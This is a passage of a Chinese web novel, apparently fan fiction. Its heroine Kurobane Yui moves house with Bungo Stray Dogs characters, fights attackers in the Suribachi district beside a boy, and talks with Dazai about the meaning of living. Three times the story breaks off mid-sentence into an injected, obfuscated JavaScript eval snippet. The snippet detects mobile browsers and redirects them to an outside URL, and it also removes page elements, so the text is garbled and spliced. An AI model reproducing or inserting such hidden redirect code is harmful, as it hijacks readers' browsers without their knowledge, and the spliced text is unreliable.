然而现实是,截至目前,最具体的成果仅仅是江户川乱步确认了他心心念念的、设计图宛如巨大猫窝的半圆形悬挂秋千的最终定制方案,并且承包商大概是害怕于港口mafia过去的凶名,不敢有丝毫拖延,已经战战兢兢地将那个体积惊人的包裹送到了办公室门口。 黑羽结衣看着那个占地颇大的木箱,又想象了一下它未来被悬挂在整面落地窗前,里面铺满柔软垫子和抱枕的样子。结合这几天对江户川乱步的观察,她脑中不由自主地地幻视出了一只毛色漂亮的碧眼黑猫,在阳光充沛的窗边蜷缩在专属猫窝里,惬意地晒着太阳打着盹,偶尔甩甩尾巴,用那种了然的目光,看着她和其他人在下面忙碌处理各种麻烦事的场景。 “……结衣/小姐,你觉得怎么样?” 暂时休战的两人同时将目光投向似乎正在走神的她。没有及时制止战火蔓延的结果,就是被直接卷入了这场纷争。 “嗯?我吗?” 黑羽结衣回过神,面对三只注视着自己的眼睛,眨了眨眼,给出一个非常和稀泥的答案, “我其实不是很介意具体摆什么啦……不过最终效果确实光靠想象有点困难,要不我们先把这里清空后试着摆放看看?实际效果满意的话就留下,不合适再调整?” 过去的自己竟然还要经常担任这种家庭矛盾调解员的角色吗?还真是辛苦啊。 提出了让所有人都没法反驳的意见,黑羽结衣边在心底吐槽着,边将手指轻轻点在另一排沉重的红木书架上。微弱的银白色光芒从她指尖流淌而出,迅速覆盖了书架表面。 下一秒,书架上面那些藏书和奇奇怪怪的收藏品,如同被整体剪切然后粘贴,无声地集体移动到了房间另一侧的角落。 “喔~异能操控的精度恢复得相当不错嘛,结衣。” 不知何时晃悠过来的江户川乱步看到这一幕,咬着棒棒糖的棍子,含糊不清地给了句随口的夸奖。 黑羽结衣自己也对这样顺畅的操作感到些许意外。她的异能名为“时空旅人”,顾名思义,她可以将自身以及所接触的物体进行无视物理阻碍的空间移动,理论上带人进行长距离移动也并非不可能,事实上,失忆前的她就经常这样做。 “我看这边收拾得差不多了,如果要判断合不合适放些什么,要不我们先回之前的住处,先把剩下的个人物品打包搬过来吧?” 她拍了拍手上并不存在的灰尘,提议道, “早一天整理好,也能早一天专心处理GSS那些麻烦事。” 然而,关于她兴致冲冲地提出使用异能直接带他们一起传送回去的提议,遭到了几乎一致的坚决反对。 原因无他,尽管她刚才展示了对物体的精准操控,但截至目前,还没有人相信她对自身异能的掌控力,已经熟练到足以确保不会把同伴随机卡进墙里,或者缺胳膊少腿地传送到奇怪的地方。 最终,前往旧宅的行程,依然是采用了最朴素的坐车的交通方式。 唯一一个投了赞成票的是太宰治,据他本人声称是“想尝试一下被空间撕裂或者随机拼接的新奇死法”,但由于这家伙的异能“人间失格”能无效化其他异能效果,这票权当做无效。 坐在平稳行驶的车后座,看着窗外渐渐染上暮色的横滨街景,黑羽结衣脑海里忍不住冒出了奇怪的比喻:大概就像刚拿到驾照的新手司机,直接想要挑战山路长途吧? 甚至她连个正经教练都没有,完全是靠自己摸索和模糊的本能在复健。更别说也没有什么权威机构能给她做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140758|196321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个能力评定,盖个安全驾驶的章。 车子驶离繁华区域,越走越偏。最终,停在了一栋远离人群而显得有些孤零零的两层楼独栋住宅前。这就是他们口中,曾经一起生活过很长一段时间的“家”。 房子看起来有些年头了,但维护得不错。站在门前的空地处,可以清晰地眺望到远处那片巨大的、仿佛被狠狠挖下一块的碗状凹陷地带——正是之前从港口mafia大楼顶层俯瞰到的,那片被称为“擂钵街”的区域。 据其他人说,这栋房子的原主人早在数年前就失踪了,这里大概率也是因横滨连年内乱而空置的无数房产中的一处,后来被带着中原中也的黑羽结衣所占领,就一直住到了现在。 可能是因为早有搬去港口mafia总部的计划,房子里的大部分物品都已经被收拾打包进纸箱,只剩下一些易碎的装饰品或者个人物件,还散落在各个角落。 “那边……就是你们一直提起的擂钵街吗?” 并没有急着进屋,黑羽结衣指着远方那片在夕阳下显得格外荒凉、轮廓奇特的区域问道。 “嗯。” 回答她的是兰堂。不知何时他已站到她身侧,厚实的外套在风中纹丝不动,替她挡住了稍有些冷冽的晚风, “七年前那场原因不明的大爆炸,在横滨留下了一个直径约两公里的巨大半圆形坑洞。在造成致命性毁灭的同时,也彻底将那片区域洗的干干净净。” 他望向远方, “后来,这片因爆炸而荒废,被官方暂时搁置的区域,逐渐被各式各样无法在阳光下生存的人占据了,通缉犯,黑户,流浪者……你能想到的所有社会不安定因素都在那,所以那里也是横滨最混乱无序的地带。” 黑羽结衣静静地听着,望着那片在暮色中渐渐亮起零星微弱灯火的区域,她几乎可以想到那番场景。最初,那里只是一片什么也没有的废墟。后来,随着时间推移,被生活所迫、走投无路的人们,开始像野草一样,沿着坑壁边缘向内,用一切能找到的材料,搭建起勉强遮风挡雨的窝棚,扯起电线,在异常的地形下挣扎着活下去。 无论环境多么残酷绝望,人类求生和聚居的本能总是如此顽强。但相应的,缺乏秩序与资源的极端环境,也让它逐渐成为了横滨最混乱、最危险、同时也是……最容易被遗忘的角落之一。 如同横滨的伤口。 “结衣。” 中原中也的声音打断了她的凝望。少年正运用着他操控重力的异能,效率极高地进行着搬运工作。只见他身边那些封好的纸箱泛着淡淡的红光,一个接一个轻盈地飘进厢型货车的车厢。而作为主力的赭发少年,脸上甚至不见丝毫疲惫, “二楼楼梯上去左手边第一间就是你的房间。里面应该还有些零散的东西没收拾完,你先去整理自己的私人物品吧。” 他提醒道,钴蓝色的眼睛看向她时,语气下意识放软了些, “说不定……能让你想起点什么。” 说着,他手指微动,两个空纸箱便泛着红光,平稳地飞到她面前。 黑羽结衣伸手接住,指尖触碰到纸箱的瞬间,银白色的微光再次闪烁。两个空纸箱没有落地,而是以一种老旧动画动态帧形式,诡异地一格一格悬浮移动着,跟在了她的身后。 “哦?恢复得确实不错嘛。” 中原中也瞥见这一幕,小声嘀咕了一句,嘴角似乎微微上扬了一下,随即又转身专注地做自己事去了。 依照中也的指示,黑羽结衣找到了那间属于“过去的自己”的房间。推开门,首先映入眼帘的景象却让她不由愣了一下: “欸——” 5. 过去的宝藏 与她预想中可能偏向简约或务实的风格不同,一进门的靠墙书架上塞满了各式各样的游戏卡带、光盘盒,以及数量可观的漫画和轻小说。再仔细看去,甚至还有不少限定版的游戏设定集、角色周边、手柄,无声彰显着房间主人曾是个不折不扣的深度游戏爱好者与宅文化爱好者。 之前听太宰提议把卡带放进办公室展示柜,还以为那是对方的爱好……原来竟是自己的吗? 这个认知让她有点想笑,又有点脸热。不过,既然是自己的爱好,那么摆在首领办公室里似乎也没什么不可以,至少比那些先代的收藏品看着要亲切多了。 除了这些娱乐相关的收藏,书架上还有不少书籍,种类跨度极大。黑羽结衣好奇地抽了几本翻阅,发现从最基础的儿童识字绘本、拼音练习册,到青少年文学,再到各种题材的日式轻小说和严肃文学,几乎囊括了各个年龄层和阅读阶段。一些明显是给低龄儿童使用的书籍,边角甚至已经磨损卷起,留下了频繁翻阅的痕迹。 ……难道是自己失忆后,从头开始学习这个世界的语言和常识时用的书吗? 怀揣着对过去的追寻和寻宝的雀跃,少女开始耐心地整理房间。将书架上的物品分门别类地打包好,因为她的异能,这件事显得异常轻松——直到她在柜顶触摸到了一个金属质地的小保险箱。 黑羽结衣将盒子拿下来后发现没法打开,又左右翻看,但在检查了抽屉、床头柜等可能藏钥匙的地方,都一无所获。 要求助太宰吗?他好像有一手好的开锁技能。 但自己的异能…… 她将盒子放在地上,手按在盖子上,想象着上盖的基础形状和厚度,随后,平移—— 成功了。 黑羽结衣眼睛一亮,然而,在看到里面的东西后她再次陷入了困惑。 没有什么想象中的金钱珠宝或者什么重要文件。盒子底部铺着一层柔软的绒布,上面零零散散地放着一些……看起来毫无价值、甚至有些破破烂烂的小物件。 半张边缘焦黑、只能模糊看到几个人影轮廓的老旧照片;一小片被烧得只剩下零星字句的报纸残片;一截闪着冷光的钢琴线;一朵用泛黄纸张折成的、工艺并不算精致的玫瑰花…… 这些是什么?过去的自己,难道有什么收集破烂的奇怪癖好吗? 她满头雾水,完全无法将这些看似垃圾的东西与任何可能重要的记忆或线索联系起来。犹豫了一下,她还是抱着这个金属盒子走下了楼,打算向其他人打听。 楼下的搬运工作已接近尾声。江户川乱步正坐在一个箱子上悠闲地吃着一包新拆开的饼干,太宰治则靠在门框上,望着远处擂钵街的方向,不知在想些什么。兰堂在核对清单,中也则刚把最后几个箱子搬上车。 “乱步,这些东西……你知道是什么吗?”黑羽结衣将盒子递到正在吃点心的名侦探面前。 江户川乱步低头看了一眼盒子里的小零碎,眨了眨碧绿的眼睛: “嗯?……啊,这些啊。是结衣你从各个‘异常区里收集回来的‘纪念品’哦。” 他咽下嘴里的饼干,解释道: “异常区消散的时候,并不是里面所有的东西都会随着规则一起消失。偶尔,也会有一些‘残留物’被留下。只要碰到这种情况,你都会把它们收集起来。” 他想了想,又补充了一句, “结衣身上的那块怀表,应该也是从异常区里带出来的残留物之一。” 原来如此。黑羽结衣看着盒子里那些不起眼的小物件,忽然觉得它们似乎都笼罩上了一层神秘的雾纱。 眼看中原中也的重力异能在搬运大件物品上效率远超自己,而接下来的工作也主要依赖货车运输而非她的空间能力,黑羽结衣心里忽然冒出一个念头。 “我想……去那边看看。” 她指向那片巨大的凹陷地带, “就在外围走走,不会深入。” 没人立刻反对。江户川乱步只是“嗯”了一声,继续吃他的饼干。兰堂抬头看了她一眼,温和地说:“注意安全,别太靠近中心。”中原中也张了张嘴,似乎想说什么,但最终还是点了点头:“早点回来。” 太宰治则朝少女决定离开的方向投去一瞥,鸢色的眼眸在渐暗的天光中显得晦暗不明。 直到黑羽结衣的身影沿着小路逐渐远去,太宰治才慢悠悠地开口,声音带着惯有的黏稠: “我还以为,乱步君至少会出言劝阻一下呢。” “为什么要拦?” 江户川乱步终于吃完了饼干,拍了拍手上的碎屑, “我相信结衣。而且,她需要自己去确认一些东西,感受一些东西。这是我们没法教给她的。” “也是呢。毕竟在失忆之前,她也是凭着自己的能力闯出一片名声的。” 太宰治的嘴角弯起一个没什么温度的弧度, “只不过……只要那个老头子脑袋还算正常,今天就不会趁这个机会派出那些身上带着明显标记的棋子出来招惹她。估计是没法借此机会抓到他和外部势力勾结的确切把柄了。但放任小姐独自前往那种地方,可能会给她带来些预料之外的小困扰哦。” “总会有机会的,名侦探可不会放过一丝线索。” 江户川乱步第一次完全睁开了那双眯着的眼睛,翠绿的瞳孔如同剔透的宝石,直直地望向太宰治, “另外,我之前就说过了吧?我相信结衣。她不需要任何人以‘保护’或‘教导’为名,对她指指点点,影响她的行动和判断。” “是吗。” 太宰治迎上他的目光,脸上的笑意未达眼底, “我可不觉得那是什么值得称赞的‘好事’。尤其是在现在的处境下。” “那也不需要强行灌输其他人的‘教导’。” 江户川乱步斩钉截铁地说道, “结衣就是结衣。无论是否失忆,她从来没有变过。以为她好的名义改变她,才是最大的错误。” “你们俩……在说些什么谜语?” 中原中也皱着眉头从两人中间穿过,钴蓝色的瞳孔里带着毫不掩饰的疑惑和烦躁,他在太宰治和江户川乱步脸上来回打量, “太宰,你刚才那话的意思是……她一个人去擂钵街那边,会有危险,对吧?既然这样,剩下的收尾工作交给你们了。我要去找她。” 没有任何人在这时说出“你知道具体往哪个方向找吗”之类的现实问题来泼冷水。他们只是静静地看着赭发少年脸上浮现出的毫不作伪的焦急与怒意—— 对认定的同伴就要绝对坦诚。 这就是中原中也一贯的处事方针。 太宰治和江户川乱步交换了一个短暂到几乎无法察觉的眼神。 “呐,乱步君,” 太宰治忽然又恢复了那种轻飘飘的口吻, “要赌一把吗?赌是‘意外’先找上小姐,还是我们的‘热心保镖’先生先找到她?” 江户川乱步已经重新眯起了眼睛,跳下箱子,拍了拍裤子上的灰尘。 “我觉得没什么必要。” 他语气轻松地说,仿佛刚才那片刻的针锋相对从未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“搬家了啊?也不错,看你的气色,是比之前过的不错了,我还记得你最开始的时候因为没钱一直盯着当天剩下的点心,晶子后来看到你就偷偷和我说我要我多做几个专门留下来……对了,晶子那孩子在你那边待着还好吗?” 晶子?是指与谢野晶子吗?原来这位老板也认识她?黑羽结衣面上没有多余表情,点点头: “嗯,她也很好。” “好嘞,那大叔我就安心了,喏,你要的点心打包好了。” 黑羽结衣接过沉甸甸的点心,手臂不由得往下微微一沉。一时间觉得横滨的物价和自己想象的出了很大的差异。 看她露出诧异的表情,大叔笑着摆摆手: “给你你就拿着吧,别跟我客气。最近生意也没那么好做,也没什么人来买了,如果不是你们一直来买的话我可能就想着把这摊子关掉了。加上你不是说要搬家吗?以后见面机会少了,这些就当是大叔我的一点小心意,不许推辞。” 但这也太多了…… 黑羽结衣郑重向对方道了谢,抱着沉甸甸的纸袋离开小店后却有些犯难。这分量……如果全部带回去,就算大家分着吃,恐怕也足够让乱步连续吃上好几天,真有可能吃坏牙齿。 她从中先取了一个,味道确实很不错,蓬松绵密,还带着刚出炉特有的黄油和糖的香气。 少女的目光转向擂钵街的方向。 也许,这些额外的点心,能在那里派上别的用场? 她迈开脚步,向她本来的目的地深入。 “你来这里做什么?” 直到背后落下一个冷淡的男声。 6. 擂钵街 在这个声音出来之前,黑羽结衣受到了相当多的,带着恶意暗中窥伺的目光。那些目光大部分落在她脸上后就消散了,但仍然有几道依旧稳稳地跟随着她。 但在少年出现后,这剩余的附近视线也全部消失了。 黑羽结衣回头。 那是一个身材异常单薄的少年,看上去太瘦弱了以至于显得还是个小孩子。黑色的头发略显凌乱,末梢却是一种不自然的灰白。他握拳在唇边咳嗽了两声,视线先是在黑羽结衣脸上停留了一瞬,随即落在她手中的纸袋上: “今天这些点心……是交易物吗。” “不,并不是。” 黑羽结衣摇了摇头,目光越过少年肩头,投向稍远处那些由破木板、铁皮和塑料布胡乱搭建而成的巢穴深处。在众多倾斜交叠的建筑的阴暗缝隙中,她隐约捕捉到了几双迅速缩回去的带着警惕与好奇的视线。 她想,她应该是误入了少年团体的地盘,不过,从对方只是语气冷漠而非立刻充满杀气的反应来看,先前他们应该是认识。 “那就不要随意在他人的地盘上晃荡。” “不是交易……” 她试着找个词,但看着他警惕的眼神又换了个说法, “……就算是交易吧,我想找你打听点情报。用这个。” 少年脸色平静: “在下并不了解这片区域之外的其他事。” “……欸?” 都没来得及计较那个古朴的自称,就收到了拒绝。想随便找个借口送出去的点心变得越发沉重了,黑羽结衣有些不解地问道: “为什么?生活在这里,有足够的情报灵通性才能更好的生活下去吧。” “那样又能如何呢。” 面对着那看不到一点感情的漆黑双瞳,黑羽结衣罕见地语塞了。她几乎是下意识地重复着对方的话语: “会怎么样……” 她突然意识到了,说什么未来会变得更好之类的只是完完全全的空话,对于在黑街里挣扎求生的人来说根本毫无意义。 但不是这样的。 不应该这样才对。 本来已经咽下的点心甜腻地翻涌上来,糊在了喉咙深处,她垂下头,看着那袋与这里格格不入的沉甸甸的点心: “你……喜欢甜食吗?” “谈论喜好对在下并没有意义。” 少年似乎没料到话题会突然转向这里,沉默了两秒, “但糖分可以提供很长时间的能量,还能保存很久。所以如果从这方面来说,是非常珍惜的食物。” “那,如果能够更好地生存下去的话,” 她听到自己用一种近乎笨拙的、引诱般的语气说道, “或许……就可以更经常地吃到这样的点心,甚至尝试其他不同味道的甜食。” 如果太宰治在这里,听到这番对话会露出什么样的表情,又会说些什么呢?大概会嘲笑她吧。黑羽结衣内心苦笑道。 但少年却似乎真的因为这句话认真思考了一段时间。随后,他抬起头,问出了一个出乎她意料的问题: “这就是生存的意义吗。” “不是那样。” 黑羽结衣下意识地否认,随后又摇摇头, “不,我是说,不全是那样。有的人可能会为了好吃的食物,但也有的人是为了其他的目标,安全的住所、想保护的同伴……你有什么想要追寻的事物吗?” 少年愣住了。 那双空无一物的漆黑瞳孔中,似乎有什么东西在逐渐点亮,他就那样带了点执拗地望着她,问道: “你能告诉在下吗。关于生存的意义。” 沉默了很久之后,黑羽结衣摇头。 她并不是能给其他人的人生做出任何指导的人。或许换个说法,她恐惧于承担起其他人的命运,尤其是在自己对自己的过去和未来都一片迷茫,一无所知的时候。 “抱歉……我不能。” 那眼中的光再次熄灭了。 就在黑羽结衣微微张开口,不知是接收了那份情感还是想表达自己的看法一样,想去说些什么,少年突然神色一紧,猛地看向她身后的方向: “是敌人吗。” 不是疑问,是确认。 有十几个穿着黑色衣服,将自己的面容藏匿在头盔之下的人手持着武器,从四面八方冲了过来。黑羽结衣还没有反应过来,身旁的少年身上的衣服已经化作黑色的怪物,向那几个人冲去。 ——敢侵犯自己的地盘,就要毫不犹豫地全部撕裂。 那是令人惊叹的异能。 柔软的布料化作坚硬的刀刃,轻易变形,割开了最近的几个人的喉咙,而在做着这些的时候,少年的神情依旧毫无变动,连眼眸的涟漪都未曾泛起。 黑羽结衣在苏醒后还是第一次遇到这样的局面,但在这场景下,连涌出犹豫和恐惧这样情感的资格都不具备。在这个火药和机关枪盛行的现代,即便是拥有异能的个体也会容易陷入困境和死局。她只是如身体的潜意识反应一样,向前伸出了手,将自己所接触的,包括空气都全部进行空间移动。 银白色的微光以她掌心为原点,无声荡漾开来。在她身周围的子弹诡异地停在了空气中,下一秒,已经全部没入了敌人的体内。 而相比较于她的保守姿态,少年完全舍弃了防御一般,只是一味进攻。更多的黑兽铺天盖地向他前面的敌人扑去,身后却没有任何防御。 绕到后面的袭击者举起了枪。 黑羽结衣再次举起手。 不行,距离太远了。她操控不到少年身边的空气。 ——那就将自己移动到那里!过去的自己能做到的事,现在的自己也一定能做到! 没有时间犹豫,就像是移动物品一样,她将自己也视为需要移动的“对象”,放置于自己想要放置的坐标。 和那些枪声同时响起的,是她消失又再次出现在少年身后的身影。银白光芒再次闪现,子弹强行被悬停偏转,在周围的土地或者废铁上溅起火星。 战斗以惊人的速度爆发,也以同样快的速度落幕。两人连言语都没有交换,袭击者已经全数覆灭。空气中只剩下浓重的硝烟味和血腥气。 黑羽结衣感觉呼吸都带着甜腥,短时间高强度使用异能带来了超乎日常的神经紧张。她蹲下身,快速检查了几个人的衣服枪支等配饰,发现并没有找到任何可以明确指示的标记后也放弃了寻找: “大概是来袭击落单的我的吧。谢谢。” 少年的衣服已经恢复了平常的模样。他微微摇头,显然是已经习惯了这种生活。黑羽结衣视线长久地落在他身上,犹豫了半晌后还是提醒道: “你的攻击方式很容易受伤,最好还是注意一下比较好。” “只要能将敌人以最快速 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“在这里这般的地狱里活着,在下想,相比起来,死亡并没有那么痛苦。” 这样无穷无尽,随时可能有伙伴死去的,连食物有时候也是奢望的生活,比起地狱和死亡来讲,似乎更令人畏惧和恐慌。 大概是正巧想到了这件事,本来就空腹和疲劳的少年突然眼前发黑,身体不自觉地前倾就要倒下。黑羽结衣下意识扶住对方,大致猜测原因是低血糖或者饥饿,少年也有同样的想法。随后—— 他们几乎同时都看向了那在开战初期就已经被她丢出去,滚进泥土,如今还沾染了血迹的甜点。 “……既然刚刚那些是追杀你的人,那点心就当做代价。” “我是不介意,但现在……” “没关系。还可以吃。” 黑羽结衣觉得良心有些痛了。 他们从里面利用黑羽结衣的异能找出了没有被污染的点心,少年狼吞虎咽地吃下已经凉了的点心,剩下的被刚刚躲起来的几个年纪更小的孩子们犹豫着走出来拿走,珍惜地围成一圈在墙角分食了起来。 “你们之前……没有试着去过那家点心店吗?” 她指了指擂钵街外围的方向, “就是卖这些点心的店。离这里不算特别远。那位店长大叔人还挺好的,如果当天有卖剩下的点心,说不定……也能给你们一些,当然,前提是不能打扰人家做生意。” “那不是你之前的地盘吗。” 少年咽下最后一口食物,语气平淡地陈述, “你因为那家店被其他人骚扰,已经揍过大半个擂钵街的居民这件事,就连在下都有听说。” 哦呀。 黑羽结衣顿时了然。想必之前的她也是将那家点心店及其周边一定范围直接划归成自己的地盘,所以在擂钵街边缘开店的店主人也能没有压力地安稳营业吧,也正因如此,对方听到她要搬家,才说出了之后可能要关店的事。 确实……像是自己会干的事。 她收回思绪,目光重新落在面前的少年身上。 既然过去的自己以有限度的信任和对方做着持续交易,那现在的自己再信赖对方一次也未尝不可: “我,想和你做另一笔交易。” 7. 点心 黑羽结衣回去的时候,正巧赶上搬运工作收尾。留守的江户川乱步正蹲在门前的小台阶上,百无聊赖地用手指在地上画着圈,见到她手中的点心后欢呼雀跃地冲到了她面前,伸手就去纸袋里够。 她环顾四周,看到兰堂正靠着货车车厢尾部低着头与站在他面前的与谢野晶子低声交谈着什么,却没有其他人的身影,不由问道: “中也和太宰呢?” 这几天相处下,她已经很习惯于亲昵的称谓了。 猫猫暴风吸入中,抽着空敷衍了她一下: “唔……大概马上就回来了吧。” 不是又吵架吵到找了个地方打起来就好。 黑羽结衣心大地想着,又拍拍头,朝兰堂和与谢野晶子那边走去。 “兰堂哥,” 她招呼道,目光落在货车上, “我打包好的那些箱子,也都放进去了吗?我想找点东西。” “嗯,在这边,” 青年看着她熟门熟路地利用异能将箱子移动出来,打开就开始翻找,多问了一嘴, “是怎么了吗?有什么忘掉拿了?” “没有啦……” 黑羽结衣翻开箱子, “我就是突然想起来,之前我买的那些小孩子学习拼音和拼写的书应该用不到了,放在港口mafia似乎也更没有必要,不如现在拿出来处理掉。” 大概是想到了以前的往事,兰堂的神色柔和起来: “也是呢……还真是过了一段相当漫长的时光啊。” 与谢野晶子也从黑羽结衣带过来的纸袋里拿了一个还带着些许温热的点心,小心地咬了一口,随后不由失笑: “大叔做点心的手艺,果然一点都没变。还是这个味道。真的是……过了好漫长的时光啊。” 黑羽结衣也顺势提起刚刚的事: “对了,那个点心店的老板大叔好像和我很熟,还特意问起了晶子你的事。” “因为我先前没有监护人的时候在那里打过工嘛。你之前为了等关店时还没有卖出去的点心,可是每次都专程在傍晚就蹲在柜面门口。” 她不由微笑起来, “那是大叔好不容易买下的店铺,他搬又搬不走,七年前爆炸之后,生意一落千丈。他甚至都想抛下店跑路,不过那时又正好碰上了你,最后他没忍心走。” 与谢野晶子望着夕阳沉下去的方向,那也是点心店的方向,傍晚的微风将她的短发向后扬起,耳边的那只蝴蝶镀了一层温柔的光,仿佛下一刻就要振翅飞入那片暖色的天空, “真的是,好久以前的事了,我都快要忘记了……” 黑羽结衣直觉意识到这中间还发生过什么,但她没有追问,而是“嘿咻”一声将书一本一本向外拿,好在之前已经分过类,现在看上去也一目了然: “晶子,兰堂哥,帮我看看这部分应该没有要留下的了吧?” 在两人的共同确认后,她终于将确定不会再用上的那部分书整理好,又装了些还没拆封的纸笔文具,就那样一手操纵着它们飘在空中,另一手挥了挥权当做告别: “那我就先去处理这些啦,很快就回来!” 看着少女在夕阳下拖着长长的影子的背影,与谢野晶子站在原地,双手插兜,轻轻“啧”了一声: “又去做滥好人了啊,那个笨蛋。” “别这么说,” 兰堂拍了拍她的肩膀,也随她一同注视着那道背影逐渐变小,语气带着笑意, “这不才是我们现在能聚在这里的原因吗?” “她现在都这样,那以后成为首领,不是更加——” 与谢野晶子将那份下意识的担忧硬生生咽了回去,但侦探不知何时已经走了过来,翠绿的眼睛在暮色中依然明亮: “安心,到时候有名侦探在呢!” 黑羽结衣在离开后又尝试了两次自己的异能,发现暂时确实可以控制好自己移动的方向,虽然还不敢进行太远或太复杂的移动,但这也大大减少了她在路上的时间。 不过没想到的是,那家点心店门口此刻竟然还站着个熟悉的人。大概是掌握新技能的兴奋,少女眯起眼,计算好他身后合适的坐标,下一秒就出现在他背后,带着点玩笑意味一掌拍在了他肩膀上: “太——宰,你怎么在这里?呜啊!不对,你衣服,……你全身怎么都湿透了?” 中间的那声语气词是那摞书因为失去异能的控制掉下去后的惊慌。 “因为我刚刚进行了一项有益身心的入水活动。” 太宰治听到重物坠落的声音,没干劲地转过头,瞥了一眼地上散落的儿童书籍,语气没什么波澜, “小姐刚刚已经回去过了啊,那也一定看到小矮子那个罪魁祸首了吧。” 黑羽结衣则是尴尬于忘记了对方无效化异能的设定,正慌乱地收拾着落了一地的书,还抽空回答了一句: “不,完全没看到。中也把你丢下去了吗?” “不哦。” 太宰治用那种能气死人的,略带遗憾的语调纠正, “他把我捞上来了。” 少女缓缓打出一个问号。 见他脚下已经晕出一片水痕,黑羽结衣又被那席卷过来的晚风冷的打了个哆嗦,顿时觉得现在追问那些细节似乎不太人道,于是直接转向店老板,把那些东西递给他: “大叔,就和我之前说的一样,如果他们过来的话,就拜托你帮我把这些转交给他们吧。要是问起来,就说是交易的定金。” “交给我吧,哎呀,真是多亏你费心了,” 老板爽朗地接过书, “之前也是,之后也是——搬家之后也别忘回来看看啊。别的不说,点心还是管够的!” “嗯,一定。” 黑羽结衣认真点头,露出笑容, “我的家人们都很喜欢您的点心。之后绝对会再来的。” 和店主告别,黑羽结衣和太宰治一同踏上了返回的路,太宰治晃晃悠悠走在她身后,一时间安静地只剩下风声和轻微的脚步声。黑羽结衣觉得有些尴尬,试图拾起刚刚的话题: “所以,为什么要说中也是罪魁祸首?他不是把你救上来了吗?” “嗯?” 太宰治似乎也在走神,慢了半拍才回答道, “那当然是因为他打扰到我的沉眠了,明明差一点就能在温暖的河水拥抱中奔赴三途川了,真是聒噪的小蛞蝓——看来小姐已经能更进一步掌控自己的能力了,是那群暗杀者们的功劳吗。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140761|196321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这话题转的飞快,黑羽结衣转了几个弯才理解了对方的脑回路: “你早就知道……” 她蓦地停下脚步,回过头看向他,一时间不知该摆出什么样的表情。但面对着他带着轻飘飘的笑意,眼底却带着好奇和打量,似乎也在观察她接下来反应的神色,她最后也只是重重叹了口气,按住了自己的太阳穴,突然有些理解为什么中原中也有时候会和他打起来了: “过去的我也这么辛苦吗。算了……所以为什么要跳河?” 这个话题还是没绕过去。 “因为我在思考人生的真谛啦。” 少年手舞足蹈地比划着, “小姐下次也要试试吗?当你沉入河流的底部时,被包裹着的温暖有种回到了生命最初之处的安宁的感觉,就连大脑在这时候也能异常清晰地回忆起过去……” “那是走马灯了吧。” 她下意识吐槽道。又回过味来, “等等,我记得之前在异常区的那场战斗中你也说过类似的话,原来那是认真的吗?” 少年很可爱地歪了歪头,湿漉漉的黑发贴在脸颊,表情纯良又无辜,只是说出口的话是不怎么令人期待的答案: “认真的啊。” 她震惊地微微张开了嘴,又想起今天遇到的那位少年,一时间心情复杂: “那个……以防万一我姑且问一句,如果不方便回答不回答也是可以的,太宰君……” 她正面看向对方: “你有什么生存下去的目的,或者在追寻的东西吗?” 问出这句话时,她脑海中闪过的,是擂钵街那位少年那双漆黑眼眸里短暂亮起又熄灭的微光。 “没有哦。” 回答的一如既往地轻快,太宰治的眼神也宛如天真无邪的孩童一般,坦然又纯粹, “我才想要问呢。活下去这一行为会有什么价值,小姐是认真这么觉得的吗?” 就像是无法回答另一个少年一样,她也无法回答面前的人的问题。 黑羽结衣一时失语。 这个话题没有持续下去,是因为他们已经到了目的地。 中原中也看到两人的身影还吐槽了一句: “我今天本来打算去店里带些点心回来,但老板和我说你已经去买了两次了,结果你还比我晚回来一步。” 而随着这句抱怨,江户川乱步也指控般的看向她: “结衣竟然把老板送我们的点心还送给了别人!真是的,我明明可以吃下更多……” 黑羽结衣移开了视线,心虚地嘟囔着: “难道不是因为这个吗……” “就因为这样的理由吗?!” 猫猫反应过来了,猫猫震怒。 “因为乱步君有前科吧,之前不是还吃到牙痛,差点要去看牙医了吗。” 太宰治从少女身旁侧身过去,也随手拿了一个,两人都绝口不提刚刚的对话, “下次可能就是与谢野小姐的电锯了哦。” 江户川乱步还要反驳些什么,带着蝴蝶发夹的少女路过,丢下了绝杀的一句: “我很愿意效劳哦。” 他鼓起脸,最后还是泄了气: “我——知——道——了——” 8. 对敌行动 虽然名义上已成为了港口Mafia的首领,但在眼下,他们真正能够信任和利用的人实在不多,因此,针对GSS这次至关重要的反击作战还是只能以她的同伴们为主导。 “资金短缺,人手不足,武器也不够……” 黑羽结衣坐在桌子前抱着一摞文件唉声叹气,她面前是数个监控屏幕,分割显示着各个小队传回来的实时画面。江户川乱步毫无紧张感地坐在她旁边,抱着一袋薯片,咔嚓咔嚓地吃着,还试图分享给少女一块,但被她拒绝了, “希望这次能顺利回点血吧,不然过段时间连最基础的弹药配比都可能需要精打细算了。那样的话传出去也太丢人了。” 侦探眯着眼睛,吃零食的动作丝毫没有放慢: “不用担心啦~GSS之前抢了我们一批海运的枪械,只要这次行动成功,光是收回那批军火,短期内我们这方面的压力会小很多。哦,对了,” 他像是突然想起什么,补充道, 